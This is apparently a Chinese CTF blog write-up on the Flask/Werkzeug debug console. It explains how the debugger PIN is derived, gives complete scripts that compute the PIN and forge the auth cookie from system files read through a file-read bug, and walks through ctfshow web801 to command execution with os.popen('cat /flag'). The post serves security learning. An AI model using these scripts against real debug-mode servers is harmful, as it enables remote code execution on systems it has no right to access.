目录

  1. 1. 前言
  2. 2. PIN码
    1. 2.1. 生成原理
    2. 2.2. 生成脚本
  3. 3. 手算cookie
  4. 4. 实战
    1. 4.1. ctfshow web801

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

flask debug模式算pin码

2023/6/1 Web python flask
  |     |   总文章阅读量:

前言

参考:

https://blog.csdn.net/weixin_54648419/article/details/123632203

https://www.cnblogs.com/m1xian/p/18528813#%E6%89%8B%E7%AE%97cookie


PIN码

pin码也就是flask在开启debug模式下,进行代码调试模式的进入密码,需要正确的PIN码才能进入调试模式

生成原理

前面全是获取值,最后进行加密(注:python3.6和python3.8的MD5加密和sha1加密不同)

#生效时间为一周
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


_machine_id: t.Optional[t.Union[str, bytes]] = None

#获取机器号
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate() -> t.Optional[t.Union[str, bytes]]:
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except OSError:
                continue

            if value:
            #读取文件进行拼接
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
            #继续进行拼接,这里处理一下只要/docker后的东西
                linux += f.readline().strip().rpartition(b"/")[2]
        except OSError:
            pass

        if linux:
            return linux

        # On OS X, use ioreg to get the computer's serial number.
        try:
            # subprocess may not be available, e.g. Google App Engine
            # https://github.com/pallets/werkzeug/issues/925
            from subprocess import Popen, PIPE

            dump = Popen(
                ["ioreg", "-c", "IOPlatformExpertDevice", "-d", "2"], stdout=PIPE
            ).communicate()[0]
            match = re.search(b'"serial-number" = <([^>]+)', dump)

            if match is not None:
                return match.group(1)
        except (OSError, ImportError):
            pass

        # On Windows, use winreg to get the machine guid.
        if sys.platform == "win32":
            import winreg

            try:
                with winreg.OpenKey(
                    winreg.HKEY_LOCAL_MACHINE,
                    "SOFTWARE\\Microsoft\\Cryptography",
                    0,
                    winreg.KEY_READ | winreg.KEY_WOW64_64KEY,
                ) as rk:
                    guid: t.Union[str, bytes]
                    guid_type: int
                    guid, guid_type = winreg.QueryValueEx(rk, "MachineGuid")

                    if guid_type == winreg.REG_SZ:
                        return guid.encode("utf-8")

                    return guid
            except OSError:
                pass

        return None

    _machine_id = _generate()
    return _machine_id


class _ConsoleFrame:
    """Helper class so that we can reuse the frame console code for the
    standalone console.
    """

    def __init__(self, namespace: t.Dict[str, t.Any]):
        self.console = Console(namespace)
        self.id = 0


def get_pin_and_cookie_name(
    app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: t.Optional[str]

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = f"__wzd{h.hexdigest()[:20]}"

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

几个pin码的生成要素:

  1. username:用户名

    通过getpass.getuser()读取,通过文件读取/etc/passwd

  2. modname:默认值为flask.app

    通过getattr(mod,“file”,None)读取

  3. appname:默认值为Flask

    通过getattr(app,“name”,type(app).name)读取

  4. moddir:flask库下app.py的绝对路径

    当前网络的mac地址的十进制数,通过getattr(mod,“file”,None)读取

    实际应用中通过报错读取

  5. uuidnode:当前网络的mac地址的十进制数

    通过uuid.getnode()读取,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算

  6. machine_id:docker机器id

    每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id/proc/sys/kernel/random/boot_id,docker靶机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,在非docker环境下读取后两个,非docker环境三个都需要读取

生成脚本

  • python3.6
#MD5
import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb'# username
     'flask.app',# modname
     'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
     '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
     '25214234362297',# str(uuid.getnode()),  /sys/class/net/ens33/address
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num

print(rv)
  • python3.8
#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'root'# /etc/passwd
    'flask.app',# 默认值
    'Flask',# 默认值
    '/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]

private_bits = [
    '2485377581187',#  /sys/class/net/eth0/address 16进制转10进制
    #machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup
    '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'#  /proc/self/cgroup
]

h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

手算cookie

当我们无法获取返回的cookie,也无法直接 /console 进入交互式 debug 的控制台的时候就需要我们手算cookie了

起一个 flask 测试一下:

from flask import Flask, request

app = Flask(__name__)

@app.route("/")
def index():
    return "Hello World"

@app.route("/read", methods=["GET"])
def read_file():
    file_path = request.args.get("path")
    try:
        with open(file_path, "r") as f:
            content = f.read()
        return content
    except Exception :
        raise FileNotFoundError

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=5000, debug=True, use_reloader=False)

访问 /console 后进行了以下请求:

127.0.0.1 - - [13/Jan/2025 11:52:17] "GET /console HTTP/1.1" 200 -
127.0.0.1 - - [13/Jan/2025 11:52:17] "GET /console?__debugger__=yes&cmd=resource&f=style.css HTTP/1.1" 200 -
127.0.0.1 - - [13/Jan/2025 11:52:17] "GET /console?__debugger__=yes&cmd=resource&f=debugger.js HTTP/1.1" 200 -
127.0.0.1 - - [13/Jan/2025 11:52:17] "GET /console?__debugger__=yes&cmd=resource&f=debugger.js HTTP/1.1" 200 -
127.0.0.1 - - [13/Jan/2025 11:52:17] "GET /console?__debugger__=yes&cmd=resource&f=console.png HTTP/1.1" 200 -
127.0.0.1 - - [13/Jan/2025 11:52:18] "GET /?__debugger__=yes&amp;cmd=resource&amp;f=debugger.js HTTP/1.1" 200 -
127.0.0.1 - - [13/Jan/2025 11:52:18] "GET /moz-extension://016c7740-aa64-4847-9c1f-1ef8a751c64b/image/inject.js HTTP/1.1" 404 -    
 * To enable the debugger you need to enter the security pin:
 * Debugger pin code: 208-512-232
127.0.0.1 - - [13/Jan/2025 11:52:18] "GET /console?__debugger__=yes&cmd=printpin&s=G0EO7wRdyKFZ4qHwRtMa HTTP/1.1" 200 -

注意到这里打印出了 PIN 码,触发这个请求方式是:

GET /console?__debugger__=yes&cmd=printpin&s=G0EO7wRdyKFZ4qHwRtMa HTTP/1.1

而 s 参数接收的是 SECRET,这个在页面的html中可以获取到

image-20250113201427611

当我们提交了正确的PIN码时,请求方式如下:

GET /console?__debugger__=yes&cmd=pinauth&pin=208-512-232&s=G0EO7wRdyKFZ4qHwRtMa HTTP/1.1

image-20250113201857841

此时 cmd 参数为 pinauth 即进行PIN码验证

返回{"auth": true, "exhausted": false}和 cookie:__wzd9b8e343fd9d7f15c6e85=1736770660|42f5834bd160

然后当我们带着这个cookie执行命令时的请求如下:

GET /console?&__debugger__=yes&cmd=print(123)&frm=0&s=G0EO7wRdyKFZ4qHwRtMa HTTP/1.1

image-20250113202139444

此时多了一个 frm 参数,即 frame 当前帧,这个只有报错时会在html上出现对应元素,通常情况都是0

image-20250113202731802


接下来下断点在 app.run 调试跟进

最终来到 site-packages/werkzeug/debug_init_.py

image-20250113204148634

即前文PIN码生成原理的部分,由那6个参数生成

接下来观察一下认证方法 pin_auth:

def pin_auth(self, request: Request) -> Response:
    """Authenticates with the pin."""
    exhausted = False
    auth = False
    trust = self.check_pin_trust(request.environ)
    pin = t.cast(str, self.pin)

    # If the trust return value is `None` it means that the cookie is
    # set but the stored pin hash value is bad.  This means that the
    # pin was changed.  In this case we count a bad auth and unset the
    # cookie.  This way it becomes harder to guess the cookie name
    # instead of the pin as we still count up failures.
    bad_cookie = False
    if trust is None:
        self._fail_pin_auth()
        bad_cookie = True

        # If we're trusted, we're authenticated.
    elif trust:
        auth = True

        # If we failed too many times, then we're locked out.
    elif self._failed_pin_auth > 10:
        exhausted = True

        # Otherwise go through pin based authentication
    else:
        entered_pin = request.args["pin"]

        if entered_pin.strip().replace("-", "") == pin.replace("-", ""):
            self._failed_pin_auth = 0
            auth = True
        else:
            self._fail_pin_auth()

            rv = Response(
                json.dumps({"auth": auth, "exhausted": exhausted}),
                mimetype="application/json",
            )
            if auth:
                rv.set_cookie(
                    self.pin_cookie_name,
                    f"{int(time.time())}|{hash_pin(pin)}",
                    httponly=True,
                    samesite="Strict",
                    secure=request.is_secure,
                )
            elif bad_cookie:
                rv.delete_cookie(self.pin_cookie_name)
                return rv

直接看最底下设置 cookie 的部分,cookie 值为{int(time.time())}|{hash_pin(pin)}

然后是 check_pin_trust 方法:

def check_pin_trust(self, environ: "WSGIEnvironment") -> t.Optional[bool]:
    """Checks if the request passed the pin test.  This returns `True` if the
        request is trusted on a pin/cookie basis and returns `False` if not.
        Additionally if the cookie's stored pin hash is wrong it will return
        `None` so that appropriate action can be taken.
        """
    if self.pin is None:
        return True
    val = parse_cookie(environ).get(self.pin_cookie_name)
    if not val or "|" not in val:
        return False
    ts_str, pin_hash = val.split("|", 1)

    try:
        ts = int(ts_str)
    except ValueError:
        return False

    if pin_hash != hash_pin(self.pin):
        return None
    return (time.time() - PIN_TIME) < ts

return (time.time() - PIN_TIME) < int(ts),这里返回true才能完成认证

PIN_TIME 在上面定义为60*60*24*7,而 ts 是我们|前填入的值,要大于 time.time()+60*60*24*7

那么就能简单生成一个 cookie:

import hashlib
import time


# A week
PIN_TIME = 60 * 60 * 24 * 7


def hash_pin(pin: str) -> str:
    return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]


print(f"{int(time.time())}|{hash_pin('208-512-232')}")

实战

ctfshow web801

进入题目是一个任意读取文件

按顺序先读取用户名看看

image-20230601101733000

可知username是root

modname和appname默认

然后弄个报错出来

image-20230601102036647

得到app的绝对路径为/usr/local/lib/python3.8/site-packages/flask/app.py

还有python版本是3.8

将这些信息填入python3.8的生成脚本中的probably_public_bits列表

然后读取/sys/class/net/eth0/address获取uuidnode

image-20230601102500282

因为题目是docker环境,最后分别访问/proc/sys/kernel/random/boot_idproc/self/cgroup获取machine_id

image-20230601102626368

image-20230601102655496

第二张图取/docker/后的内容

前后拼接一下得到d1b2665b-a5c7-4542-af02-960390811e5bcc9ebea31e926ba87ac4a4ed3e48e834e031e83767dd4c70f908545a08c0e891

丢进3.8脚本跑一下得到pin码327-540-640

然后直接访问/console进入控制台,输入获得的pin码

输入命令获取flag

import os
os.popen('cat /flag').read()

image-20230601103134096